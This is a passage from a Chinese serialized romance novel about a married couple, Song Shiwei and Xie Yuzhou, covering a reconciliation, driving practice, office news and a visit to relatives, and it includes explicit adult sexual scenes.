果冻不语,只是一味打了个哈欠,回到猫床睡觉。 留下一个圆滚滚的背影,它选择做好事不留名。 这一晚格外平静,平静到宋时微以为处在平行时空。 主卧漆黑一片,厚重的窗帘遮住月色,黑色的魅影包裹了夜,同样包裹住床上的人。 两个人中间隔着天堑,男人平躺,女人背对他躺下。 宋时微不确定这是不是冷战,从小她爸妈吵架多数是热战,掀桌子、摔碗是常有的事,后来变成爸爸的单方面输出,妈妈视而不见。 长大后,她才明白,失望至极才会连架都懒得吵。 她不喜欢这样,不想她们变成这样。 最后相看两厌分道扬镳。 “谢屿舟,你睡了吗?” “没有。” 怀里没有抱枕没有枕头,两手空空,宋时微只能抓紧被子寻找安全感,她深深呼吸一口气,“谢屿舟,你是不是不相信我?” 男人没有回答她的话。 宋时微知道他没有睡着,沉重的呼吸暴露了一切,喃喃自语,“还是不相信我。” 她用的是肯定的语气。 因为她们们没有按照正常的恋爱轨迹,没有磨合直接迈进夫妻关系。 曾经有过分离,信任变成太奢侈的东西。 而这一切,在‘第三人’出现时,会显得格外脆弱,像晚上破碎的玻璃杯,即使掉在地毯上,也会碎裂。 谢屿舟不答反问:“怎么不开车去?” 有个人开了口递了台阶,他也不想吵架过夜,曾经隔绝她们七年的时间,不希望再来误会。 “我不会开。”宋时微徒有驾照,没有上手的机会。 “为什么不让司机送?” 宋时微回答不了这个问题,她有私心。 现在社会心理问题已然成为大众话题,或多或少有焦虑、抑郁和躁郁的倾向,发展成病需要去治疗的不在少数。 不希望亲近的人知道,不想让人看到心里的伤疤,不然不会有那么多微笑抑郁症。 谢屿舟自言自语,挑破真相,“不想我知道你的行踪。” “因为我撞见了,你才会承认。”顿了片刻,男人说:“宋时微,我们不像夫妻。” 腔调里透出满满的失望之情。 她或许以为他生气的是她和傅景深一起回来,实际这个因素占了40%,更多是另外的因素。 每个人都有秘密,他尊重她,但宋时! 微对他隐瞒太多。 谢屿舟不期望她对他有什么依靠,从来便没有。 只有做.爱的时候,才能够感受到她对他那一丁点可怜的依赖和需要。 许是被他戳中了真实的内心,宋时微没有说话。 谢屿舟对着空气,叹息道:“睡觉吧。” 宋时微又问:“不做吗?” 谢屿舟淡淡说:“不做。” 男人悄无声息向中间又挪了一步,离宋时微更近了点。 宋时微对着漆黑的天花板发呆,没有一点困意,缓解好的失眠在今晚复发。 须臾的沉默,借助黑暗的隐藏,她翻了个身抱住谢屿舟。 脑袋埋在他的胳膊处,双手紧紧环住她,对她来说,能够做出这一步,已经是极限。 谢屿舟的心脏猛然揪在一块,被巨力撕扯的痛,她难得的主动求和。 时间过去一秒、十秒、一分钟,宋时微得不到回应,他没有回抱住她,什么都没有做。 她双手放开谢屿舟,准备重新背过身。 同一时刻,男人转过身,伸出手掌拽住她的胳膊,拉在身下,双臂撑在两侧,困住了她。 眼睛适应了黑暗环境,仍看不到任何画面,只有鼻息的交缠昭示两人的存在。 宋时微心跳加速,头微微一瞥,错开这股炙热的气息,“你怎么没睡?” 谢屿舟:“刚准备睡着,被你的动静吵醒了。” 宋时微:“对不起吵到你了,我不会抱你了。”她自己都没注意到,这句话里竟然夹杂一丝委屈。 谢屿舟循着本能向下寻找她的唇,怀里的人似乎和他的想法一样。 他低头,她仰头,唇瓣贴合。 像是点燃了引火线,一发不可收拾。 男人的唇含住女人的嘴,撬开贝齿的阻拦,舌头肆无忌惮闯进去。 使出了浑身力气,因为黑暗看不清彼此,急切需要触觉确定对方的存在。 两个人急切得像第一次接吻,生疏地磕到碰到牙齿和嘴唇,即使吃痛也不愿放开彼此。 铁腥气在双唇之间蔓延。 宋时微的手搭在床单两侧,五指蜷缩攥紧被单,她不要抱他,他刚刚都不愿意回抱她。 这点细微的动作怎么可能瞒得过谢屿舟,简直被她气到,她脾气犟又倔,自尊心受挫后会缩回自己的壳里。 男人拉住她的手,放在他的后颈。 宋时微有了借力点,更加用力亲他、咬他,不甘示弱地纠缠。 即使舌根发酸、嘴唇亲破皮。 一个吻让两个人气喘吁吁,呼吸陡然加重,胸脯剧烈浮动。 宋时微急切地解开谢屿舟的睡衣纽扣,用脚褪去睡裤,迫不及待不得章法。 谢屿舟压住她的腿,“只想睡我,你是不是把我当按.摩.棒?” 这个词还是和池砚舟学的,现在看来,他们命运一样。 宋时微被勾起想法,“你说的夫妻义务,就要履行。” 谢屿舟哑然失笑,“你还记得我们是夫妻呢,看来! 只有想做的时候想起来我是你老公。” 宋时微啐他,“你做不做?” “不做。” 谢屿舟话锋一转,“除非,你说你需要我。” 下一秒,宋时微提前行动,谢屿舟头皮一紧,轮到她霸王.硬.上.弓。 咬着牙说:“宋时微,你真行。” “和你学的。”宋时微勾住他的腰,不让他离开。 现在不可能喊停,除非他不是个男人,尤其面对宋时微,自制力是不存在的玩意。 男人修长的十指一根一根没过她的指缝,十指相扣,手背贴在枕头上。 谢屿舟声音又冷又硬,“你招我的,一会别后悔。” 宋时微:“你废话是真多。” 初秋的夜晚,温度适宜,彼此呼吸滚烫,灼伤了周围的空气。 床的靠背时不时接收击打,像银饰店里的敲击声,一下又一下,偶尔声音大一点,偶尔声音小一点。 宋时微的脑袋zhuang到靠背,整个人不断向上靠,直到再无位置,“谢屿舟,碰到头了。” “忍着。”男人捞住她的肩膀,坐了起来,面对面抱住对方。 长发断断续续扫过他的脖颈,谢屿舟宽大的手掌掐住她的腰,跟随他的节奏。 男人的嘴巴擦过她的嘴唇,又到了天鹅颈,亦或是其他位置。 ‘扑通’一声,小夜灯突然亮起。 谢屿舟倒在了床上,男人变成了被动的人,他乐于享受,鼓励宋时微,“对,就是这样。” 宋时微拨开扰人碍事的头发,主动权现在在她手上,完全不同的感觉。 发尾扎得谢屿舟有点痒,就像挠了心脏。 她的力气和他没法比,但不一样,开发了新大陆。 宋时微月退发酸,倒在他的身上,额头沁出了薄汗,谢屿舟亲她的嘴巴,“乖乖已经很厉害了。” 他抱着她滚了一下,蝴蝶骨贴到被单,男人抬手按开壁灯开关,他想看着她,看她微张的嘴唇、涣散的双眼还有搂紧他的手臂。 亲眼看到她的依赖。 即使是寻找支撑点,那样也好。 谢屿舟握住她的双月退,问了一个无厘头的问题,“宝宝,你知道什么是锐角吗?” 宋时微睨他一眼,“废话,我小学毕业了的。” “是吗?”谢屿舟‘贴心’和她科普什么样的角度锐角、直角和钝角。 “时时,这样是锐角。” 第 39 章 悄悄[VIP] 第39章悄悄[vip] 道路两旁的梧桐树急速后退,谢屿舟思考刚刚和院长的谈话,注意力不集中。 路口的信号灯转为黄色,男人紧急踩下刹车,长长的撕拉声响彻云霄,惊动了树上的鸟,一排麻雀飞上天空。 汽车停在白线之外,人行横道的位置,幸亏周边人烟稀少,没有酿成车祸。 谢屿舟摁了摁太阳穴,让自己尽量平静下来。 从他知道是心理问题后,整个人便无法冷静,为什么能够排除看人的选项,因为他知道她的家人在哪儿。 而且这里收费昂贵,不是她能负担的价格。 现在宋时微不告诉他,同样他不能去打听是什么心理问题,仿佛陷入了死胡同,无从得知发生了什么事。 重逢这么久以来,只知道她变了很多,真的看不出来到了看医生的地步。 她隐瞒得好,他也没有多想。 谢屿舟靠在椅背上出神,恨自己不够细心,直到后方的车按了喇叭,他才继续行驶。 太阳向西滑落,远远落在车后,高大的梧桐树被香樟树代替,已成城郊到达老城区。 地下车库里,谢屿舟坐在车里,沉思良久,选择拨通余子昂的电话,直截了当问:“你调查这么慢吗?” 余子昂有苦直言:“大哥,我也想快一点,咱不能做违法的事情吧,身份证号家庭地址查起来是简单,她为什么离开这种情况不是数据一下就能调查出来,也不是查她考上哪所大学这么简单。” 想当初他还提议过,让谢屿舟通过第三方手段查宋时微的去处,被他否定了,说早忘了她是谁。 结果现在呢,好一个‘早忘了’。 谢屿舟:“最多一个月时间,否则车免谈。” 就会用车威胁他,眼下余子昂只能答应,“行行行,保准完成任务。” 谢屿舟的拇指摩挲方向盘,看着前方的车子,转而拨了宋时微的电话。 宋时微在家补觉,迷迷糊糊中听到电话铃声,她伸长手臂捞起手机,“喂,哪位?” 女人的翁翁声透过电话线传来,谢屿舟轻声说:“你先睡吧。” 宋时微疑惑皱眉,她哪里还能睡着。 睡眠质量不好的人,最害怕被杂声吵醒,回笼觉对她来说,是最奢侈的东西。 昨晚耗费了太多精力,两个小时的午觉补回了点精气神,但是下半身像被汽车碾过,酸胀、疼。 主卧的床早已恢复了平整,室内的空气里没了暧昧的气息,闭上眼耳边好像传来交织的喘息声。 她在上面动的一段时间,像跑了长跑一般,大腿酸涩。 更不用说她被折来折去成各个角度,头一次发现自己的柔韧性那么好。 大学做兼职一天工作12个小时都没这么累过。 想到昨晚,宋时微脸颊发烫,不能再回忆了,某一处咕噜咕噜想向外冒水。 她的水怎么这么多! 这时,谢屿舟从外归来,站在床边解衬衫纽扣,墨蓝色睡衣搭! 在一旁。 男人毫不掩饰地凝视眼前的人,生怕一眨眼她就不见了。 宋时微从床上爬起来,盯着他的手看,手掌精致修长,随着动作青筋若隐若现,赏心悦目。 只是,这双骨络分明的手经常不做人事,“你打电话有什么事吗?” “没什么事。”谢屿舟套上睡衣,将她搂进自己的怀里,“陪我再睡一会。” 宋时微被迫再次躺下,“哦,原来你也会累啊。” 谢屿舟:“我是个人,体力比你好点罢了。” 宋时微的双手撑在胸前,分开两人之间的距离,“谢总这体力一般人也受不住。” 谢屿舟长臂一捞,人待他的怀里挣脱不开,“没有别人,只有你体会过。” 宋时微不想和他在床上插科打诨,这是非常危险的行为,“你快睡吧。” 她说着不困,在他怀里体会到安全和舒心感,渐渐阖上眼睛。 然而,她旁边的男人却没有困意,听到女人均匀的呼吸后,缓慢睁开了眼睛。 谢屿舟的手臂轻轻拢住,极为珍视,不舍得打破来之不易的宁静。 怀里女人的睫毛轻轻颤动,清冷的脸褪去了婴儿肥,她的手无意识牵住他,他又摸到厚的茧子。 没人知道,谢屿舟曾经去临港找过她,在她宿舍楼下等了一天,等到深夜她才回来。 他躲在树的后面,远远地看着她,看着她从他面前路过。 想上前质问她,为什么睡了他就跑,为什么一句话不说就离开? 最终,没有迈出去脚步。 因为,她瘦了。 比现在更瘦,一阵风就能把她吹跑。 这七年,她似乎比他更难过。 宋时微一觉醒来,夕阳已没入大地,月亮爬上东边的天空。 君姨做好了晚饭等他们开饭。 谢屿舟问:“有驾照吗?” 宋时微老实回答,“有,没开过。” 谢屿舟照例给她剥虾,“吃完饭把驾照带着。” 宋时微不明所以,“做什么?” 男人简单说:“去练车。” 宋时微点点头同意,她也不想发生昨天的情况,去郊区不会开车是麻烦。 喂好家里的小猫,踏着月色,两个人出了门,前往地下车库。 谢屿舟:“选一辆顺眼的当练习车。” 站在车库里,宋时微逡巡一圈,每一辆车价值不菲,用来练车属实浪费。 她问:“咱能换辆普通点的车练吗?你这不是给4s店增加业绩吗?” “随便撞。”谢屿舟云淡风轻道:“赔得起。” 宋时微斜乜他一眼,“财大气粗。” 谢屿舟不以为然,“你先练着,回头看看喜欢哪辆车重新买。” “我不懂,你看着选吧。” 宋时微连忙补充,“选便宜的。” 谢屿舟扫视一圈,指着拐角的白色轿车,“那个新手开起来轻松点。” 男人走到储物柜门前,打开对应的柜门! 编号,捞出车钥匙。 奢侈,连车钥匙都有专门的储物柜。 谢屿舟一直向西行驶,远离城市的喧嚣,身边驶过的车辆越来越少,高楼大厦逐渐被低矮的别墅群取代。 宋时微攥紧安全带,“你确定我们是去练车的?” 地图显示,行进方向位于西郊,周边是车少无人的荒芜之地。 谢屿舟确定:“对。” 窗外寂静无声,风的呼呼声传入耳内。 宋时微身上起鸡皮疙瘩,“我怎么感觉你像是要谋杀我,特意找一处偏僻的地方毁尸灭迹。” 谢屿舟:“那我可真聪明,等着警察来抓我,我一没不在场证明,二来的一路都是监控。” 宋时微振振有词,“高智商犯罪看似不正常,实际精准谋划,你这叫阳谋。” 谢屿舟淡瞥她一眼,“我总得有作案动机吧。” 宋时微略微思考几秒,“那可太多了,报复我的不告而别,后悔没和我签婚前协议,不舍得我分走你的财产等等。” “少看点有的没的。” 谢屿舟停下车子,“下车换位置。” 周围一片漆黑,零星几栋洋房别墅亮着灯,风吹过树叶沙沙作响。 抛却恐怖的案件,这里不失为一处静谧之地。 谢屿舟坐在副驾驶,一步一步指导宋时微,音色缓和,“在左边调座椅和靠背,系好安全带,左边是刹车,右边是油门,你先找找感觉。” 宋时微仿佛回到高中,他耐心教她做题的日子。 就像现在这样,不厌其烦不放过一个细节。 谢屿舟:“你不用太紧张,自动挡没有离合,不用担心熄火,慢慢踩、轻轻踩就行,点火吧。” 宋时微转头看他,命令道:“你不要盯着我。”她紧张得腿在发抖,掌心冒出汗。 谢屿舟向后靠了靠,直视前方,“好,你沿着这条路慢慢开,别急。” 路上没有一辆车,只有飞蛾陪她们一同练车。 宋时微开到路的尽头,掉头转弯靠边停车,重复以上动作,绕了几圈便已熟练。 他没有盯着她,刚刚的紧张缓解几分。 宋时微比他想得上手快,不过,在路上开车是最简单的事,难得是停车加出地库。 谢屿舟:“有智能影像,能实时看到周边的情况,多练几次就会了。” 科目二的知识还给了驾校,宋时微依赖男人和倒车影像。 实际开车里,侧方位比倒车入库要难得多。 宋时微看到市政绿化,问:“撞到树赔多少钱?” 谢屿舟秒答:“6000块。” 宋时微疑惑看他,“你怎么知道?你难道撞过吗?” 谢屿舟:“余子昂之前失恋撞过。” “你们现在……” “没事了,他人就那样口无遮拦,下次他会给你道歉。” “不用,他说的有道理。” 都是为了各自朋友好,立场不同,没有对与错。 新手开车忌讳聊天,无法! 做到一心二用,宋时微一个没注意,侧方位停车时,没控制住油门,车子向路边驶去。 她踩下刹车已经来不及,只听见一声“哐当”的响声,车子停了下来。 原本闭目养神的谢屿舟立刻解开安全带,越过中控抱紧宋时微,拍拍她的后背,“有没有事?” 在男人紧张的音色里,宋时微回过神。 踩刹车是本能进行自救,待她反应过来时,发现自己被谢屿舟抱紧,整个人埋在他的胸膛里。 宋时微摇摇头,“没有,我没事。” 紧急关头,被人护在怀里,不可能不动容,宋时微的心塌了下去,抬起手臂,环住谢屿舟的腰。 剧烈震荡的心脏无法平息,她仰起头去亲他。 宋时微吻上男人的薄唇,含住他的嘴,原来他的嘴唇也在颤抖。 其实不止,她的背出了冷汗,他亦是。 谢屿舟的肱二头肌绷紧,在逼仄的空间里,难免会起反应,失控之前,松开了宋时微。 “先下车看看情况。” 白色轿车的右前方瘪进去一小块,她没有撞到树,擦到了马路牙子。 幸运的是,路没有事,不用赔市政钱。 宋时微难为情道:“这个修一下需要花多少钱?” “不知道,没撞过。” 谢屿舟拍拍她的脑袋,安慰她,“开车没有不出事的,坏了就修,这都是小事,大胆开。” “嗯嗯。”宋时微摸摸肚子,“好饿。” 谢屿舟抬起手腕,借助路灯看眼时间,“那我们回去,下次再来练。” “周边可以点外卖,有家烧烤可以送到。” 宋时微将手机递过去,“你看看你想吃什么?”??sx 随便点了几样烤串,在填写地址时,写上【马路牙子】。 外卖员接到订单胆战心惊,大晚上怪吓人,送到后立刻骑车离开。 名贵的轿车前车盖成为天然的托盘,上面摆着滋啦冒油的烧烤,甚是壮观。 金黄的翅中外酥里嫩、鲜嫩的牛肉串冒出孜然的香味、红红的小龙虾勾引味蕾,还有宋时微必不可少的烤面筋。 可惜不能喝酒,享受暮夏的最后一顿小龙虾。 第 40 章 数数(新增1300字)[VIP] 第40章数数(新增1300字)[vip] 小小的一颗话梅糖,用褐色糖纸包裹,安安静静躺着在桌子上,差点砸到宋时微的水杯。 她的第一反应是看乔言心,发现同事在慌乱地藏她的辣条,完全没有注意到这里发生的插曲。 宋时微捡起糖,在手里端详一阵,连牌子都是她曾经吃的那一个。 回想起小时候看的动画片,里面的主角嘴里含着话梅糖吃雪,高中有一年下大雪,雪没过了脚脖子。 她从口袋里掏出糖,想模仿主角的行为,被谢屿舟拉住。 他板着脸,一本正经和她说,“雪脏,里面各种细菌病毒。”列举了尘土、微生物、病原体、细菌等等,成功打消了她吃雪的念头。 话说,曾经的谢屿舟一板一眼还挺可爱,离他近一点点,耳朵红透,像顶着两片红色的枫叶。 哪里像现在,说起dirtytalk毫不脸红,甚至还开灯做。 谢屿舟挺阔的身影消失在前台门前,宋时微拍拍乔言心的肩膀,“人走了,你别藏了,而且谢总不会管大家吃零食。” 乔言心咬完嘴里剩下的辣条,用纸巾擦掉辣椒油,“那可说不准,今天周一,每个人的怨气比冤死鬼还深,万一他想杀鸡儆猴,我可不能撞枪口上,有一说一,谢总蛮帅的,就是高冷严肃,只可远观。” 宋时微笑笑不说话,她对谢屿舟是后半句,‘亵玩’。 不知道他下来做什么,左右和她无关。 乔言心转动椅子,向宋时微身边靠,“微微,你看到通知了吗?” 宋时微扭头问:“什么通知?” 乔言心发了截图给她,“集团准备年后成立智能家居部,问在岗人员有没有自愿转岗的,可以递交简历去面试。” “我来看看。” 宋时微点开oa里的邮件,详细说明了情况,前面是官话,什么集团战略需要,现成立智能家居部,特招聘以下岗位,如有意向者,简历投递到人事总监的邮箱。 在岗人员的处境尴尬,面试成功倒还好,如果面试失败,不能保证原领导没有意见。 许是考虑到这个方面的因素,特意设置了隐秘保护。 乔言心小声说:“我不会去的,我觉得我这个位置很好,新部门挑战太大,我只想摸鱼。” 宋时微选择不隐瞒她,“我要去。” “啊啊。”乔言心没控制住分贝,忙捂住嘴巴,“微微你要抛下我了吗?” 宋时微被她晃得头晕,“还要面试的,也不一定。” 乔言心摆摆手,“你去吧,你不要我了,我当从来不认识你,当我没来过。” 桌子上有之前留下的巧克力,宋时微递过去,“摸摸,给你吃颗巧克力。” “一颗糖就能贿赂我吗?”乔言心拆开包装放进嘴巴里,“我宣布你成功了。” 她就那么一说,天下无不散之筵席,不能阻止朋友向前飞。 宋时微:“人偶我和顾总说了,她和人事打过了招呼,会招! 一个专门的人扮演,不用我们这么辛苦。” 乔言心心有担忧,“但是临时找的会用心吗?” 爱好一旦变成了工作,就会乏味乐趣,充满了班味,毕竟一直保持热情是一件非常难的事情。 宋时微:“顾总会筛选的,工资给到位了,一切都好说。” 她何尝没有这个顾虑,不过现在甜花是公司的门面形象,不会随意待之。 乔言心:“那是的。” 这时,谢屿舟给宋时微发来消息,【顾斯乔会亲自面试,我请她来,给了她极大的自由空间,剩下的靠你自己。】 宋时微:【顾总知道我们的关系吗?】 谢屿舟:【不清楚,但她和程清安一样,即使知道也会公事公办。】 宋时微:【好。】 没有人会愿意为他人做嫁衣,尤其是能力高的人,更没有人会喜欢关系户。 眼下嘛,先通过面试再说。 5点半一到,办公室人去座位空,换了新总经理最大的改变是,不再有无意义的加班。 宋时微熟练地坐进迈巴赫,哼着小曲。 谢屿舟意味深长地问:“啥事这么开心?” 宋时微白他一眼,“准时下班就是开心的事啊,谢总久居高位,不懂打工人。” 当着老板的面内涵他。 汽车离开大厦,谢屿舟在掌心里把玩她的手,问:“糖好吃吗?” 宋时微假装听不懂,“什么糖?” “看来丢了。”谢屿舟看破不说破,“以防万一,下次我送到你手上。” 宋时微:“闭嘴吧你。” 忙过之前一阵,宋时微晚饭后得空和妈妈视频,葛书韵接通,“女儿。” “妈,你这是在哪儿啊?” 葛书韵笑着回:“新房子里,屿舟他很用心,找的小伙子细心得很,办事又靠谱,一点都不拖沓,施工可快了,你看再买买家具就齐活了。” 宋时微跟着妈妈的镜头浏览了一圈,“那就好,你不要一直待在里面,有甲醛。” 葛书韵:“我知道的,屿舟他考虑到了,装了什么新风,还安排了人定时来通风。” 宋时微:“你现在是丈母娘看女婿。” 葛书韵看镜头,谢屿舟不在,她轻声说:“我那天问了小刘,屿舟选的用的都是最好的料子,差不多一平方花了一万块。” 这么贵!一平方一万块,那花了有上百万,宋时微安慰妈妈,“他不是说了,当彩礼。” 葛书韵:“那也太多了,我给你的嫁妆没这么多,他家里人不会看不起你吧。” 宋时微:“不会不会,你放心啊。” 她又和妈妈闲谈了几句,妈妈问她回南城有没有遇到亲戚,有没有去看过宋振华——她的爸爸,被她打马虎眼打了过去。 是时候去看看他了。 谢屿舟带她练车,看来是明智之举,那个地方太远太偏僻。 宋时微去书房找谢屿舟,探出脑袋,一只手抓住裤缝,“你在开会吗?” 谢屿舟盖上! 笔记本,“没有,什么事?” 宋时微挠挠鬓角,“我想周末回去看一下我妈。” “我陪你一起去。” 谢屿舟凝视立在门口的女生,假装不经意问:“妈为什么不和你一起回南城?” 宋时微早就打好了腹稿,“我妈怕冷,待在临港挺好的。” “呵。”谢屿舟自嘲笑了笑,“宋时微,你对我诚实一点会怎么样!” 宋时微坚定道:“我说的是实话。” 这是其中一个原因,更重要的原因是家人已逝,无颜面对她们。 是妈妈心里的痛,不想她再次承受。 谢屿舟直起身,缓慢向门口走,“行,我看你嘴硬到什么时候。” “你不也是一样嘴硬。”宋时微心里打鼓,指尖挠裤缝,“那个装修钱。” 谢屿舟脚步微凝,靠在办公桌前,“说好了是彩礼。” 宋时微:“那也太多了。” “想还啊,想出尔反尔啊。”谢屿舟掀起眼睫,浓密睫毛下的眼睛看不出情绪,淡淡说:“可以,床上还,你来动。” 宋时微顿时向前一步,脸色沉下去,“你不要侮辱人。” 谢屿舟:“是你先侮辱我的,宋小姐。” 重音刻意放在后面的称呼上。 男人又向前行,停在她前方两米的位置,启唇凛声道:“需要我再强调一下吗?我们不是池砚舟和沈栀意那样的合约夫妻,我们是真正的夫妻。” 这个女人的嘴巴这么软,说出的话怎么和刀子一样锋利。 宋时微强词夺理,“我就这么一说,你干嘛这么凶?” 谢屿舟被她气笑,“我哪里凶了?” 宋时微阴阳怪气道:“你不凶,你是全天下最温柔的人,没有比谢总更温柔的人了。” “宋!时!微!”男人一个字一个字喊她的名字。 宋时微没好气说:“干嘛?” 谢屿舟命令道:“过来。” 宋时微转身,扒在门框上,“我不,这不是在公司,你不是我领导,我不听你的。” “行,我过去。”男人一步一步朝她走过去,在她逃跑之前打横抱起了她。???x 脚底失空,宋时微下意识搂紧他的脖子,“你抱我去哪儿?” 谢屿舟压住她做乱的手,眼睛直直盯住她,“不是想还钱,帮我脱,帮我洗澡。” 宋时微被他盯得心里发颤,眼神开车,似乎要将她吃掉,“我不,你自己要出的。” 到了浴室,谢屿舟困住宋时微,把她的手带上衬衫纽扣,“晚了,我忽然觉得,这种还款方式还不错。” 论力量博弈,宋时微根本不是他的对手,被迫给他脱衣服。 男人宽大的手掌完整包裹她的手,一颗一颗解开衬衫纽扣,宋时微仰头瞪他,“你就是想侮辱我,你记仇。” 谢屿舟启唇强调,“是你给的机会。” 男人将衬衫扔在干区的脏衣篮里,白色衬衫耷拉在边缘。 谢屿舟向前走,将宋时微逼进角落里,俯! 下身凑到她的眼前,眼神暗如黑曜石,“你怎么不脱?” 宋时微眉头紧蹙,“你自己脱了,管我干嘛。” “有来有往,我帮你。”谢屿舟佯装好心,手指按在纽扣处,解开一颗、两颗、三颗,没有继续。 男人的视线毫不保留地来回扫视她的身体, “谢屿舟,你混蛋无耻。” 宋时微低头看自己的样子,忍不住啐他。 她的长款鱼尾裙被高高堆在腰间,衬衫半隐半现,露出精致的锁骨。 所有的衣服松松垮垮挂在她的身上,比脱光更难受。 谢屿舟不恼,单手钳住她的下巴,迫使她看镜子。 镜子里的画面太过诱人,男人凸起的喉结重重滚动,俯身吻她,“时时,你的词汇量太缺乏,还有别的词吗?” 同时,他的手指勾起白色内衣,向下一褪,完美。 现在衣服质量太好,是个问题。 想撕撕不碎,少了点趣味。 宋时微掐他的手臂,闭上眼不看镜子里的旖旎风光,“我不要和你做。” 谢屿舟收了笑,冷声问道:“那你想和谁做?嗯?” 宋时微口不择言,“反正不是你。” 刹那间,她的眼前变成一抹黑色,出于本能的恼怒,“谢屿舟,你要做什么?” 眼睛上被蒙上一条黑色的领带,失去了视觉。 如同失去了依托和安全感。 “今天玩点不一样的。”谢屿舟用力系紧覆在她眼睛上的领带,“我说了,会一个一个用给你。” 男人牵着她走进淋浴间,“时时,你来数数,从1数到500,完全数对了,我就摘下领带。” 宋时微认真开始数数,突然间,打断了她数数的节奏,“谢屿舟,你耍赖,你犯规。” 谢屿舟吻在她的后颈,汗珠滴了上去,“慢慢数。” 她的双手被男人禁锢在墙上,没办法摘掉领带。 宋时微重新开始数,以为很简单,数起来真的很难,谢屿舟故意不让她好好数。 一会吻她的后颈,一会咬她的耳朵,一会舔她的耳垂。 男人佯装可惜,“乖乖,数错了,重来。” 整晚,宋时微没有成功数对,喊停他也不停,每次数到关键时刻都被他打乱,随他的心情。 压着的狠劲和怒气完全释放给了她。 男人反而幽幽说:“可惜了,多简单的游戏。” 解开束缚在她眼睛上的领带,女人眼圈泛红,一副被他欺负狠了的模样。 宋时微一口咬在他的手臂上,留下一个深深的牙印。 谢屿舟抚摸手臂凹下去的牙印,眼睛晦暗,“挺好,下这么大的力气。” 男人继续鼓励怀里的女人,“再咬一下手臂。” 第 41 章 旧地[VIP] 第41章旧地[vip] 第一次来别人家,宋时微拘谨地坐在凳子上,池砚舟家的户型和谢屿舟家类似,只是装修配色更跳脱。 装修可以体现一个人的性格,这话没毛病。 人家夫妻两口子在厨房里忙碌,谢屿舟在餐厅说些荒唐的话,宋时微赶紧捂住他的嘴,“在别人家呢,你说话能不能正经点?” 谢屿舟不以为然,“你以为他们多正经。” 男人拉住她的椅子扶手,上半身向前倾,直接贴过去,漆黑眼睛一瞬不移,“故意岔开话题,不敢回答,是因为还没酝酿好什么时候提离婚?还是说没酝酿好下一个逃跑的城市呢?” 两人离得极近,近到可以看清脸上的小绒毛。 漫长的沉默过后。 “你猜?”宋时微卖个关子,强势回视,嘴角挽起笑,“是什么时候?这次又会是哪里?” 谢屿舟扣住她的后颈,“什么时候都跑不掉,我会把你牢牢拴在我的身边。” 他的语气笃定,这次休想再从他身边消失。 宋时微搓了搓双臂,“你好吓人。” 厨房里忙好的两个人,端着一盘刚做出锅的烧烤,沈栀意突然停下脚步,轻声说:“他们好像在接吻。” “你眼神不好。” 从池砚舟的方向,可以完整看清餐厅里的动作,只是挨得近了些,他清了清嗓子,“咳咳。” 谢屿舟直起上半身,睨他一眼,“嗓子不舒服就去吃含片。” 池砚舟将烤盘重重放在餐桌上,‘砰’得一下弹起,“这在我家,注意形象。” “哦。” 谢屿舟当即要站起来,瞥见满桌的菜,“那我们回去,你自己解决吧。” 宋时微和沈栀意互相看了一眼,微微笑没有说话,心里估计想得都是同一句话,男人本性真幼稚。 为了解决这些做好的食物,池砚舟不得不低头,“浪费粮食可耻,你就当做好人好事。” 他继续推销,“真没毒,我们都吃过了。” 谢屿舟的身体向后靠了靠,抬起下颌示意,“你先吃给我看看。” “吃就吃。”池砚舟戴上一次性手套,“你不想吃你来干嘛?看我笑话。” “是。” 谢屿舟依旧不动筷子,“我来看看今天太阳是不是从西边出来了,从小连韭菜和葱都分不清楚的池大少爷,破天荒进厨房。” 池砚舟脸色沉下去,“咱可说好了,今天不揭短啊。” 谢屿舟止住话头,“你喊余子昂,他一个孤家寡人,更需要人救济。” 池砚舟:“他不来,说只有他没对象,重点是他不想看见你。” 食材一不小心买多了,不然哪会求谢屿舟来吃。 这人今天故意找事,存心不让他好过,在他老婆面前疯狂揭短。 果不其然,下一秒谢屿舟问:“你们的合约还有多久到期?” 池砚舟作势要打他,“闭嘴,吃饭,当我求你。” 沈栀意! 安安静静坐在旁边,听到‘合约’两个字眉眼波动了一下。 防止谢屿舟被轰出去,宋时微转移话题,侧身问他,“这个鸡翅还不错,你要吃吗?” “吃。”男人的眼神里明晃晃写着‘你喂我’三个字。 宋时微拆掉翅中的两根大骨头,放在谢屿舟面前的碗里,“手套给你。” 谢屿舟:“我又不想吃了。” 池砚舟勾唇笑道:“我是看懂了,你是来秀恩爱的。” “不是。” 谢屿舟慢悠悠说:“来散步,顺便来看你家还不在。” 池砚舟哑然一秒钟,这是明晃晃地嘲笑,“我发现你今天有点欠。” 谢屿舟:“你发现错了。” 表兄弟两个人插科打诨,一点都没有平时的稳重样子。 烧烤有专门的佐料,烤熟了基本不成问题。 谢屿舟调侃池砚舟归调侃,给他面子象征性吃了几块肉,他点评道:“没入味,咸,有待进步。” “你快走,下次我一定不喊你。” 送走客人之后,沈栀意和池砚舟收拾残局,女生说:“我们合约签的是一年的,明年的梅雨季节到期。” 池砚舟打马虎眼,“一年吗?我怎么记得是三年。” “是一年,我存了图片。”沈栀意立刻找到收藏的照片,她特意拍了合约里约定的时间。 池砚舟咬着牙说:“行。” 自始至终,只有他一个人不想到期。 回楼栋,谢屿舟和宋时微没有选择地下车库,行走在小区的羊肠石板路上。 月色溶溶,洒落在头顶。 宋时微的手背在身后,“他们没事吧?” 昏暗光线下,谢屿舟的侧脸冷硬,与出口的语气接近,“你管好自己就行了,他们离不离我不知道,你是离不了的。” 宋时微:“万一哪天你要离呢。” 谢屿舟坚定说:“没有万一。” 他不会再给她离开的机会,说他偏激也好,变态也罢,不会让七年前的事重演。 感情的事,旁人不好参与,宋时微全副身心在等待面试结果。 而在此之前,乔言心告诉她一个重磅消息,“我要去投简历了。” “啊,你也去。” 宋时微心有疑虑,“这不是过家家,你想清楚了吗?” 乔言心解释,“我知道啊,我想了一下,你看我们这个部门模式成熟,后面可发展空间太小了,谢总的重心明显不在这里,我肯定要为自己考虑的,接触到新鲜的事物,有利于我的跳槽。” 宋时微拍拍她的肩膀,“你想清楚就好,如果面试成功,刚过去会比较累。” 乔言心:“那没事,面试成功了再说。” 她神秘兮兮地说:“上班重要的还有上班搭子,我昨天找人算了一卦,建议我跟着你走,说你是我的贵人。” 宋时微抿嘴笑,“迷信不可信哈。” “非也非也,有些需要信。”乔言心晃晃手指。 —— ! 周末,恰逢中秋节,谢屿舟提前订好直飞临港的机票。 宋时微担忧问:“妈和奶奶真的不介意吗?” 虽说周五晚上已经回了老宅吃饭,终究不是中秋当天,会失了礼数。 谢屿舟收拾行李,“她们没那么多事。” 